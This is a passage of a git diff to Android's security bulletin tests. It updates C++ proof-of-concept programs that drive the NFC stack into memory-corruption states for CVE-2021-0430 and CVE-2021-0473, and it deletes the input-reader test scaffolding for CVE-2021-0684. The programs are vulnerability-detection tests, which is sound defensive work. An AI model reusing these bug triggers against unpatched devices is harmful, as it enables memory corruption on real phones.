Open Source Project + * Copyright (C) 2022 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp index 947f46a2007..bb3bdc20f4d 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp @@ -1,5 +1,5 @@ /* - * Copyright (C) 2021 The Android Open Source Project + * Copyright (C) 2022 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. @@ -14,74 +14,116 @@ * limitations under the License. */ +#include <../includes/common.h> +#include <../includes/memutils.h> #include <nfc_int.h> #include <rw_int.h> #define RW_MFC_STATE_READ_NDEF 0x03 #define RW_MFC_SUBSTATE_READ_BLOCK 0x03 +#define RW_MFC_DATA_LEN 0x10 +#define P_MFC_NDEF_LENGTH 1024 extern tRW_CB rw_cb; +tNFC_CONN *p_data = nullptr; +tRW_MFC_CB *p_mfc = nullptr; -void GKI_freebuf(void*) { -} +char enable_selective_overload = ENABLE_NONE; -void GKI_start_timer(uint8_t, int32_t, bool) { +bool isTestInProgress = false; +struct sigaction new_action, old_action; +void sigsegv_handler(int signum, siginfo_t *info, void *context) { + if (isTestInProgress && info->si_signo == SIGSEGV) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + exit(EXIT_FAILURE); } -void GKI_stop_timer(uint8_t) { +void GKI_freebuf(void *) {} + +void GKI_start_timer(uint8_t, int32_t, bool) {} + +void GKI_stop_timer(uint8_t) {} + +void cback(tRW_EVENT, tRW_DATA *) {} + +void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) { + (void)event; + (void)p_rw_data; } -void cback(tRW_EVENT, tRW_DATA*) { +void exit_handler(void) { + if (p_data) { + if (p_data->data.p_data) { + free(p_data->data.p_data); + p_data->data.p_data = nullptr; + } + free(p_data); + p_data = nullptr; + } + + if (p_mfc) { + if (p_mfc->p_ndef_buffer) { + free(p_mfc->p_ndef_buffer); + p_mfc->p_ndef_buffer = nullptr; + } + free(p_mfc); + p_mfc = nullptr; + } } int main() { - tRW_MFC_CB* p_mfc = &rw_cb.tcb.mfc; + atexit(exit_handler); + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigsegv_handler; + sigaction(SIGSEGV, &new_action, &old_action); + + tNFC_ACTIVATE_DEVT p_activate_params = {}; + p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; + p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; + RW_SetActivatedTagType(&p_activate_params, &poc_cback); + FAIL_CHECK(rw_cb.p_cback == &poc_cback); + + p_mfc = &rw_cb.tcb.mfc; GKI_init(); rw_init(); uint8_t selres = 1; - uint8_t uid[MFC_UID_LEN] = { 1 }; - if (rw_mfc_select(selres, uid) != NFC_STATUS_OK) { - return EXIT_FAILURE; - } + uint8_t uid[MFC_UID_LEN] = {1}; + + enable_selective_overload = ENABLE_MALLOC_CHECK; + FAIL_CHECK(rw_mfc_select(selres, uid) == NFC_STATUS_OK); p_mfc->state = RW_MFC_STATE_READ_NDEF; p_mfc->substate = RW_MFC_SUBSTATE_READ_BLOCK; - tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID]; + tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID]; - tNFC_CONN* p_data = (tNFC_CONN*) malloc(sizeof(tNFC_CONN)); - if (!p_data) { - return EXIT_FAILURE; - } + p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN)); + FAIL_CHECK(p_data); - p_data->data.p_data = (NFC_HDR*) malloc(sizeof(uint8_t) * 16); - if (!(p_data->data.p_data)) { - free(p_data); - return EXIT_FAILURE; - } + p_data->data.p_data = (NFC_HDR *)malloc(sizeof(uint8_t) * 16); + FAIL_CHECK(p_data->data.p_data); p_data->data.status = NFC_STATUS_OK; tNFC_CONN_EVT event = NFC_DATA_CEVT; - NFC_HDR* mfc_data = (NFC_HDR*) p_data->data.p_data; - mfc_data->len = 0x10; + NFC_HDR *mfc_data = (NFC_HDR *)p_data->data.p_data; + mfc_data->len = RW_MFC_DATA_LEN; mfc_data->offset = 0; - p_mfc->ndef_length = 1024; - p_mfc->p_ndef_buffer = (uint8_t*) malloc(sizeof(uint8_t) * 16); - if (!(p_mfc->p_ndef_buffer)) { - free(p_data->data.p_data); - free(p_data); - return EXIT_FAILURE; - } + p_mfc->ndef_length = P_MFC_NDEF_LENGTH; + p_mfc->p_ndef_buffer = (uint8_t *)malloc(sizeof(uint8_t) * 16); + enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK; + FAIL_CHECK(p_mfc->p_ndef_buffer); rw_cb.p_cback = cback; + isTestInProgress = true; p_cb->p_cback(0, event, p_data); + isTestInProgress = false; - free(p_mfc->p_ndef_buffer); - free(p_data->data.p_data); - free(p_data); return EXIT_SUCCESS; } diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0473/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0473/poc.cpp index d7650ad4d5f..152f5384323 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0473/poc.cpp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0473/poc.cpp @@ -92,27 +92,31 @@ void GKI_freebuf(void *ptr) { } int main() { - tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t; + tNFC_ACTIVATE_DEVT p_activate_params = {}; + p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; + p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; + RW_SetActivatedTagType(&p_activate_params, &poc_cback); + FAIL_CHECK(rw_cb.p_cback == &poc_cback); - GKI_init(); - rw_init(); - rw_cb.p_cback = &poc_cback; + tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t; - uint8_t peerNfcID[NCI_RF_F_UID_LEN]; - uint8_t mrtiCheck = 1, mrtiUpdate = 1; - if (rw_t3t_select(peerNfcID, mrtiCheck, mrtiUpdate) != NFC_STATUS_OK) { - return EXIT_FAILURE; - } + GKI_init(); + rw_init(); + rw_cb.p_cback = &poc_cback; + + uint8_t peerNfcID[NCI_RF_F_UID_LEN]; + uint8_t mrtiCheck = 1, mrtiUpdate = 1; + FAIL_CHECK(rw_t3t_select(peerNfcID, mrtiCheck, mrtiUpdate) == NFC_STATUS_OK); - tNFC_CONN p_data = {}; - NFC_HDR nfcHdr = {}; - p_data.data.p_data = &nfcHdr; + tNFC_CONN p_data = {}; + NFC_HDR nfcHdr = {}; + p_data.data.p_data = &nfcHdr; - tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID]; - p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING; + tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID]; + p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING; - uint8_t conn_id = NFC_RF_CONN_ID; - tNFC_CONN_EVT event = NFC_ERROR_CEVT; - p_cb->p_cback(conn_id, event, &p_data); - return (kIsVulnerable) ? EXIT_VULNERABLE : EXIT_SUCCESS; + uint8_t conn_id = NFC_RF_CONN_ID; + tNFC_CONN_EVT event = NFC_ERROR_CEVT; + p_cb->p_cback(conn_id, event, &p_data); + return (kIsVulnerable) ? EXIT_VULNERABLE : EXIT_SUCCESS; } diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp deleted file mode 100644 index 875a38ad762..00000000000 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp +++ /dev/null @@ -1,111 +0,0 @@ -/* - * Copyright (C) 2019 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp' - * is used as reference to come up with file - * Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is - * retained - */ - -#include "TestInputListener.h" - -namespace android { - -// --- TestInputListener --- - -TestInputListener::TestInputListener(std::chrono::milliseconds eventHappenedTimeout, - std::chrono::milliseconds eventDidNotHappenTimeout) - : mEventHappenedTimeout(eventHappenedTimeout), - mEventDidNotHappenTimeout(eventDidNotHappenTimeout) {} - -TestInputListener::~TestInputListener() {} - -template <class NotifyArgsType> -void TestInputListener::assertCalled(NotifyArgsType* outEventArgs, std::string message) { - std::unique_lock<std::mutex> lock(mLock); - base::ScopedLockAssertion assumeLocked(mLock); - - std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues); - if (queue.empty()) { - const bool eventReceived = - mCondition.wait_for(lock, mEventHappenedTimeout, - [&queue]() REQUIRES(mLock) { return !queue.empty(); }); - if (!eventReceived) { - return; - } - } - if (outEventArgs) { - *outEventArgs = *queue.begin(); - } - queue.erase(queue.begin()); -} - -template <class NotifyArgsType> -void TestInputListener::assertNotCalled(std::string message) { - std::unique_lock<std::mutex> lock(mLock); - base::ScopedLockAssertion assumeLocked(mLock); - - std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues); - const bool eventReceived = - mCondition.wait_for(lock, mEventDidNotHappenTimeout, - [&queue]() REQUIRES(mLock) { return !queue.empty(); }); - if (eventReceived) { - return; - } -} - -template <class NotifyArgsType> -void TestInputListener::notify(const NotifyArgsType* args) { - std::scoped_lock<std::mutex> lock(mLock); - - std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues); - queue.push_back(*args); - mCondition.notify_all(); -} - -void TestInputListener::notifyConfigurationChanged(const NotifyConfigurationChangedArgs* args) { - notify<NotifyConfigurationChangedArgs>(args); -} - -void TestInputListener::notifyDeviceReset(const NotifyDeviceResetArgs* args) { - notify<NotifyDeviceResetArgs>(args); -} - -void TestInputListener::notifyKey(const NotifyKeyArgs* args) { - notify<NotifyKeyArgs>(args); -} - -void TestInputListener::notifyMotion(const NotifyMotionArgs* args) { - notify<NotifyMotionArgs>(args); -} - -void TestInputListener::notifySwitch(const NotifySwitchArgs* args) { - notify<NotifySwitchArgs>(args); -} - -void TestInputListener::notifyPointerCaptureChanged(const NotifyPointerCaptureChangedArgs* args) { - notify<NotifyPointerCaptureChangedArgs>(args); -} - -void TestInputListener::notifySensor(const NotifySensorArgs* args) { - notify<NotifySensorArgs>(args); -} - -void TestInputListener::notifyVibratorState(const NotifyVibratorStateArgs* args) { - notify<NotifyVibratorStateArgs>(args); -} - -} // namespace android diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h deleted file mode 100644 index 067ac835ba2..00000000000 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h +++ /dev/null @@ -1,85 +0,0 @@ -/* - * Copyright (C) 2019 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp' - * is used as reference to come up with file - * Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is - * retained - */ - -#ifndef _UI_TEST_INPUT_LISTENER_H -#define _UI_TEST_INPUT_LISTENER_H - -#include <android-base/thread_annotations.h> -#include "InputListener.h" - -using std::chrono_literals::operator""ms; - -namespace android { - -// --- TestInputListener --- - -class TestInputListener : public InputListenerInterface { -protected: - virtual ~TestInputListener(); - -public: - TestInputListener(std::chrono::milliseconds eventHappenedTimeout = 0ms, - std::chrono::milliseconds eventDidNotHappenTimeout = 0ms); - - template <class NotifyArgsType> - void assertCalled(NotifyArgsType* outEventArgs, std::string message); - - template <class NotifyArgsType> - void assertNotCalled(std::string message); - - template <class NotifyArgsType> - void notify(const NotifyArgsType* args); - - virtual void notifyConfigurationChanged(const NotifyConfigurationChangedArgs* args) override; - - virtual void notifyDeviceReset(const NotifyDeviceResetArgs* args) override; - - virtual void notifyKey(const NotifyKeyArgs* args) override; - - virtual void notifyMotion(const NotifyMotionArgs* args) override; - - virtual void notifySwitch(const NotifySwitchArgs* args) override; - - virtual void notifySensor(const NotifySensorArgs* args) override; - - virtual void notifyVibratorState(const NotifyVibratorStateArgs* args) override; - - virtual void notifyPointerCaptureChanged(const NotifyPointerCaptureChangedArgs* args) override; - - std::mutex mLock; - std::condition_variable mCondition; - const std::chrono::milliseconds mEventHappenedTimeout; - const std::chrono::milliseconds mEventDidNotHappenTimeout; - - std::tuple<std::vector<NotifyConfigurationChangedArgs>, // - std::vector<NotifyDeviceResetArgs>, // - std::vector<NotifyKeyArgs>, // - std::vector<NotifyMotionArgs>, // - std::vector<NotifySwitchArgs>, // - std::vector<NotifySensorArgs>, // - std::vector<NotifyVibratorStateArgs>, // - std::vector<NotifyPointerCaptureChangedArgs>> // - mQueues GUARDED_BY(mLock); -}; - -} // namespace android -#endif diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp deleted file mode 100644 index 13b33b6771f..00000000000 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp +++ /dev/null @@ -1,1236 +0,0 @@ -/* - * Copyright (C) 2021 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp' - * is used as reference to come up with file - * Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is - * retained - */ - -#include <InputMapper.h> -#include <InputReader.h> -#include <InputReaderBase.h> -#include <InputReaderFactory.h> -#include <MultiTouchInputMapper.h> -#include <TestInputListener.h> - -namespace android { - -using std::chrono_literals::operator""ms; -using namespace android::flag_operators; - -// Timeout for waiting for an expected event -static constexpr std::chrono::duration WAIT_TIMEOUT = 100ms; - -// An arbitrary time value. -static constexpr nsecs_t ARBITRARY_TIME = 1234; -static constexpr nsecs_t READ_TIME = 4321; - -// Arbitrary display properties. -static constexpr int32_t DISPLAY_ID = 0; -static constexpr int32_t DISPLAY_WIDTH = 480; -static constexpr int32_t DISPLAY_HEIGHT = 800; -static constexpr std::optional<uint8_t> NO_PORT = std::nullopt; -static constexpr int32_t BATTERY_STATUS = 4; -static constexpr int32_t BATTERY_CAPACITY = 66; -static constexpr int32_t RAW_X_MIN = 25; -static constexpr int32_t RAW_X_MAX = 1019; -static constexpr int32_t RAW_Y_MIN = 30; -static constexpr int32_t RAW_Y_MAX = 1009; -constexpr int32_t DEVICE_ID = END_RESERVED_ID + 1000; -constexpr int32_t DEVICE_GENERATION = 2; - -const char* DEVICE_NAME = "device"; -const char* DEVICE_LOCATION = "USB1"; -const Flags<InputDeviceClass> DEVICE_CLASSES = Flags<InputDeviceClass>(0); -constexpr int32_t EVENTHUB_ID = 1; -const std::string UNIQUE_ID = "local:0"; - -template <typename T> -static inline T min(T a, T b) { - return a < b ? a : b; -} - -// --- TestPointerController --- - -class TestPointerController : public PointerControllerInterface { - bool mHaveBounds; - float mMinX, mMinY, mMaxX, mMaxY; - float mX, mY; - int32_t mButtonState; - int32_t mDisplayId; - -public: - TestPointerController() - : mHaveBounds(false), - mMinX(0), - mMinY(0), - mMaxX(0), - mMaxY(0), - mX(0), - mY(0), - mButtonState(0), - mDisplayId(ADISPLAY_ID_DEFAULT) {} - - virtual ~TestPointerController() {} - - void setBounds(float minX, float minY, float maxX, float maxY) { - mHaveBounds = true; - mMinX = minX; - mMinY = minY; - mMaxX = maxX; - mMaxY = maxY; - } - - void setPosition(float x, float y) override { - mX = x; - mY = y; - } - - void setButtonState(int32_t buttonState) override { mButtonState = buttonState; } - - int32_t getButtonState() const override { return mButtonState; } - - void getPosition(float* outX, float* outY) const override { - *outX = mX; - *outY = mY; - } - - int32_t getDisplayId() const override { return mDisplayId; } - - void setDisplayViewport(const DisplayViewport& viewport) override { - mDisplayId = viewport.displayId; - } - - const std::map<int32_t, std::vector<int32_t>>& getSpots() { return mSpotsByDisplay; } - -private: - bool getBounds(float* outMinX, float* outMinY, float* outMaxX, float* outMaxY) const override { - *outMinX = mMinX; - *outMinY = mMinY; - *outMaxX = mMaxX; - *outMaxY = mMaxY; - return mHaveBounds; - } - - void move(float deltaX, float deltaY) override { - mX += deltaX; - if (mX < mMinX) mX = mMinX; - if (mX > mMaxX) mX = mMaxX; - mY += deltaY; - if (mY < mMinY) mY = mMinY; - if (mY > mMaxY) mY = mMaxY; - } - - void fade(Transition) override {} - - void unfade(Transition) override {} - - void setPresentation(Presentation) override {} - - void setSpots(const PointerCoords*, const uint32_t*, BitSet32 spotIdBits, - int32_t displayId) override { - std::vector<int32_t> newSpots; - // Add spots for fingers that are down. - for (BitSet32 idBits(spotIdBits); !idBits.isEmpty();) { - uint32_t id = idBits.clearFirstMarkedBit(); - newSpots.push_back(id); - } - - mSpotsByDisplay[displayId] = newSpots; - } - - void clearSpots() override {} - - std::map<int32_t, std::vector<int32_t>> mSpotsByDisplay; -}; - -// --- TestInputReaderPolicy--- - -class TestInputReaderPolicy : public InputReaderPolicyInterface { - std::mutex mLock; - std::condition_variable mDevicesChangedCondition; - - InputReaderConfiguration mConfig; - std::unordered_map<int32_t, std::shared_ptr<TestPointerController>> mPointerControllers; - std::vector<InputDeviceInfo> mInputDevices GUARDED_BY(mLock); - bool mInputDevicesChanged GUARDED_BY(mLock){false}; - std::vector<DisplayViewport> mViewports; - TouchAffineTransformation transform; - -protected: - virtual ~TestInputReaderPolicy() {} - -public: - TestInputReaderPolicy() {} - - virtual void clearViewports() { - mViewports.clear(); - mConfig.setDisplayViewports(mViewports); - } - - std::optional<DisplayViewport> getDisplayViewportByUniqueId(const std::string& uniqueId) const { - return mConfig.getDisplayViewportByUniqueId(uniqueId); - } - std::optional<DisplayViewport> getDisplayViewportByType(ViewportType type) const { - return mConfig.getDisplayViewportByType(type); - } - - std::optional<DisplayViewport> getDisplayViewportByPort(uint8_t displayPort) const { - return mConfig.getDisplayViewportByPort(displayPort); - } - - void addDisplayViewport(int32_t displayId, int32_t width, int32_t height, int32_t orientation, - bool isActive, const std::string& uniqueId, - std::optional<uint8_t> physicalPort, ViewportType viewportType) { - const DisplayViewport viewport = - createDisplayViewport(displayId, width, height, orientation, isActive, uniqueId, - physicalPort, viewportType); - mViewports.push_back(viewport); - mConfig.setDisplayViewports(mViewports); - } - - bool updateViewport(const DisplayViewport& viewport) { - size_t count = mViewports.size(); - for (size_t i = 0; i < count; i++) { - const DisplayViewport& currentViewport = mViewports[i]; - if (currentViewport.displayId == viewport.displayId) { - mViewports[i] = viewport; - mConfig.setDisplayViewports(mViewports); - return true; - } - } - // no viewport found. - return false; - } - - void addExcludedDeviceName(const std::string& deviceName) { - mConfig.excludedDeviceNames.push_back(deviceName); - } - - void addInputPortAssociation(const std::string& inputPort, uint8_t displayPort) { - mConfig.portAssociations.insert({inputPort, displayPort}); - } - - void addInputUniqueIdAssociation(const std::string& inputUniqueId, - const std::string& displayUniqueId) { - mConfig.uniqueIdAssociations.insert({inputUniqueId, displayUniqueId}); - } - - void addDisabledDevice(int32_t deviceId) { mConfig.disabledDevices.insert(deviceId); } - - void removeDisabledDevice(int32_t deviceId) { mConfig.disabledDevices.erase(deviceId); } - - void setPointerController(int32_t deviceId, std::shared_ptr<TestPointerController> controller) { - mPointerControllers.insert_or_assign(deviceId, std::move(controller)); - } - - const InputReaderConfiguration* getReaderConfiguration() const { return &mConfig; } - - const std::vector<InputDeviceInfo>& getInputDevices() const { return mInputDevices; } - - TouchAffineTransformation getTouchAffineTransformation(const std::string& inputDeviceDescriptor, - int32_t surfaceRotation) { - return transform; - } - - void setTouchAffineTransformation(const TouchAffineTransformation t) { transform = t; } - - void setPointerCapture(bool enabled) { mConfig.pointerCapture = enabled; } - - void setShowTouches(bool enabled) { mConfig.showTouches = enabled; } - - void setDefaultPointerDisplayId(int32_t pointerDisplayId) { - mConfig.defaultPointerDisplayId = pointerDisplayId; - } - - float getPointerGestureMovementSpeedRatio() { return mConfig.pointerGestureMovementSpeedRatio; } - -private: - DisplayViewport createDisplayViewport(int32_t displayId, int32_t width, int32_t height, - int32_t orientation, bool isActive, - const std::string& uniqueId, - std::optional<uint8_t> physicalPort, ViewportType type) { - bool isRotated = - (orientation == DISPLAY_ORIENTATION_90 || orientation == DISPLAY_ORIENTATION_270); - DisplayViewport v; - v.displayId = displayId; - v.orientation = orientation; - v.logicalLeft = 0; - v.logicalTop = 0; - v.logicalRight = isRotated ? height : width; - v.logicalBottom = isRotated ? width : height; - v.physicalLeft = 0; - v.physicalTop = 0; - v.physicalRight = isRotated ? height : width; - v.physicalBottom = isRotated ? width : height; - v.deviceWidth = isRotated ? height : width; - v.deviceHeight = isRotated ? width : height; - v.isActive = isActive; - v.uniqueId = uniqueId; - v.physicalPort = physicalPort; - v.type = type; - return v; - } - - void getReaderConfiguration(InputReaderConfiguration* outConfig) override { - *outConfig = mConfig; - } - - std::shared_ptr<PointerControllerInterface> obtainPointerController(int32_t deviceId) override { - return mPointerControllers[deviceId]; - } - - void notifyInputDevicesChanged(const std::vector<InputDeviceInfo>& inputDevices) override { - std::scoped_lock<std::mutex> lock(mLock); - mInputDevices = inputDevices; - mInputDevicesChanged = true; - mDevicesChangedCondition.notify_all(); - } - - std::shared_ptr<KeyCharacterMap> getKeyboardLayoutOverlay( - const InputDeviceIdentifier&) override { - return nullptr; - } - - std::string getDeviceAlias(const InputDeviceIdentifier&) override { return ""; } - - void waitForInputDevices(std::function<void(bool)> processDevicesChanged) { - std::unique_lock<std::mutex> lock(mLock); - base::ScopedLockAssertion assumeLocked(mLock); - - mDevicesChangedCondition.wait_for(lock, WAIT_TIMEOUT, [this]() REQUIRES(mLock) { - return mInputDevicesChanged; - }); - mInputDevicesChanged = false; - } -}; - -// --- TestEventHub --- - -class TestEventHub : public EventHubInterface { - struct KeyInfo { - int32_t keyCode; - uint32_t flags; - }; - - struct SensorInfo { - InputDeviceSensorType sensorType; - int32_t sensorDataIndex; - }; - - struct Device { - InputDeviceIdentifier identifier; - Flags<InputDeviceClass> classes; - PropertyMap configuration; - KeyedVector<int, RawAbsoluteAxisInfo> absoluteAxes; - KeyedVector<int, bool> relativeAxes; - KeyedVector<int32_t, int32_t> keyCodeStates; - KeyedVector<int32_t, int32_t> scanCodeStates; - KeyedVector<int32_t, int32_t> switchStates; - KeyedVector<int32_t, int32_t> absoluteAxisValue; - KeyedVector<int32_t, KeyInfo> keysByScanCode; - KeyedVector<int32_t, KeyInfo> keysByUsageCode; - KeyedVector<int32_t, bool> leds; - std::unordered_map<int32_t, SensorInfo> sensorsByAbsCode; - BitArray<MSC_MAX> mscBitmask; - std::vector<VirtualKeyDefinition> virtualKeys; - bool enabled; - - status_t enable() { - enabled = true; - return OK; - } - - status_t disable() { - enabled = false; - return OK; - } - - explicit Device(Flags<InputDeviceClass> classes) : classes(classes), enabled(true) {} - }; - - std::mutex mLock; - std::condition_variable mEventsCondition; - - KeyedVector<int32_t, Device*> mDevices; - std::vector<std::string> mExcludedDevices; - std::vector<RawEvent> mEvents GUARDED_BY(mLock); - std::unordered_map<int32_t /*deviceId*/, std::vector<TouchVideoFrame>> mVideoFrames; - std::vector<int32_t> mVibrators = {0, 1}; - std::unordered_map<int32_t, RawLightInfo> mRawLightInfos; - // Simulates a device light brightness, from light id to light brightness. - std::unordered_map<int32_t /* lightId */, int32_t /* brightness*/> mLightBrightness; - // Simulates a device light intensities, from light id to light intensities map. - std::unordered_map<int32_t /* lightId */, std::unordered_map<LightColor, int32_t>> - mLightIntensities; - -public: - virtual ~TestEventHub() { - for (size_t i = 0; i < mDevices.size(); i++) { - delete mDevices.valueAt(i); - } - } - - TestEventHub() {} - - void addDevice(int32_t deviceId, const std::string& name, Flags<InputDeviceClass> classes) { - Device* device = new Device(classes); - device->identifier.name = name; - mDevices.add(deviceId, device); - - enqueueEvent(ARBITRARY_TIME, READ_TIME, deviceId, EventHubInterface::DEVICE_ADDED, 0, 0); - } - - void removeDevice(int32_t deviceId) { - delete mDevices.valueFor(deviceId); - mDevices.removeItem(deviceId); - - enqueueEvent(ARBITRARY_TIME, READ_TIME, deviceId, EventHubInterface::DEVICE_REMOVED, 0, 0); - } - - bool isDeviceEnabled(int32_t deviceId) { - Device* device = getDevice(deviceId); - if (device == nullptr) { - ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__); - return false; - } - return device->enabled; - } - - status_t enableDevice(int32_t deviceId) { - status_t result; - Device* device = getDevice(deviceId); - if (device == nullptr) { - ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__); - return BAD_VALUE; - } - if (device->enabled) { - ALOGW("Duplicate call to %s, device %" PRId32 " already enabled", __func__, deviceId); - return OK; - } - result = device->enable(); - return result; - } - - status_t disableDevice(int32_t deviceId) { - Device* device = getDevice(deviceId); - if (device == nullptr) { - ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__); - return BAD_VALUE; - } - if (!device->enabled) { - ALOGW("Duplicate call to %s, device %" PRId32 " already disabled", __func__, deviceId); - return OK; - } - return device->disable(); - } - - void finishDeviceScan() { - enqueueEvent(ARBITRARY_TIME, READ_TIME, 0, EventHubInterface::FINISHED_DEVICE_SCAN, 0, 0); - } - - void addConfigurationProperty(int32_t deviceId, const String8& key, const String8& value) { - Device* device = getDevice(deviceId); - device->configuration.addProperty(key, value); - } - - void addConfigurationMap(int32_t deviceId, const PropertyMap* configuration) { - Device* device = getDevice(deviceId); - device->configuration.addAll(configuration); - } - - void addAbsoluteAxis(int32_t deviceId, int axis, int32_t minValue, int32_t maxValue, int flat, - int fuzz, int resolution = 0) { - Device* device = getDevice(deviceId); - - RawAbsoluteAxisInfo info; - info.valid = true; - info.minValue = minValue; - info.maxValue = maxValue; - info.flat = flat; - info.fuzz = fuzz; - info.resolution = resolution; - device->absoluteAxes.add(axis, info); - } - - void addRelativeAxis(int32_t deviceId, int32_t axis) { - Device* device = getDevice(deviceId); - device->relativeAxes.add(axis, true); - } - - void setKeyCodeState(int32_t deviceId, int32_t keyCode, int32_t state) { - Device* device = getDevice(deviceId); - device->keyCodeStates.replaceValueFor(keyCode, state); - } - - void setScanCodeState(int32_t deviceId, int32_t scanCode, int32_t state) { - Device* device = getDevice(deviceId); - device->scanCodeStates.replaceValueFor(scanCode, state); - } - - void setSwitchState(int32_t deviceId, int32_t switchCode, int32_t state) { - Device* device = getDevice(deviceId); - device->switchStates.replaceValueFor(switchCode, state); - } - - void setAbsoluteAxisValue(int32_t deviceId, int32_t axis, int32_t value) { - Device* device = getDevice(deviceId); - device->absoluteAxisValue.replaceValueFor(axis, value); - } - - void addKey(int32_t deviceId, int32_t scanCode, int32_t usageCode, int32_t keyCode, - uint32_t flags) { - Device* device = getDevice(deviceId); - KeyInfo info; - info.keyCode = keyCode; - info.flags = flags; - if (scanCode) { - device->keysByScanCode.add(scanCode, info); - } - if (usageCode) { - device->keysByUsageCode.add(usageCode, info); - } - } - - void addLed(int32_t deviceId, int32_t led, bool initialState) { - Device* device = getDevice(deviceId); - device->leds.add(led, initialState); - } - - void addSensorAxis(int32_t deviceId, int32_t absCode, InputDeviceSensorType sensorType, - int32_t sensorDataIndex) { - Device* device = getDevice(deviceId); - SensorInfo info; - info.sensorType = sensorType; - info.sensorDataIndex = sensorDataIndex; - device->sensorsByAbsCode.emplace(absCode, info); - } - - void setMscEvent(int32_t deviceId, int32_t mscEvent) { - Device* device = getDevice(deviceId); - typename BitArray<MSC_MAX>::Buffer buffer; - buffer[mscEvent / 32] = 1 << mscEvent % 32; - device->mscBitmask.loadFromBuffer(buffer); - } - - void addRawLightInfo(int32_t rawId, RawLightInfo&& info) { - mRawLightInfos.emplace(rawId, std::move(info)); - } - - void testLightBrightness(int32_t rawId, int32_t brightness) { - mLightBrightness.emplace(rawId, brightness); - } - - void testLightIntensities(int32_t rawId, - const std::unordered_map<LightColor, int32_t> intensities) { - mLightIntensities.emplace(rawId, std::move(intensities)); - } - - bool getLedState(int32_t deviceId, int32_t led) { - Device* device = getDevice(deviceId); - return device->leds.valueFor(led); - } - - std::vector<std::string>& getExcludedDevices() { return mExcludedDevices; } - - void addVirtualKeyDefinition(int32_t deviceId, const VirtualKeyDefinition& definition) { - Device* device = getDevice(deviceId); - device->virtualKeys.push_back(definition); - } - - void enqueueEvent(nsecs_t when, nsecs_t readTime, int32_t deviceId, 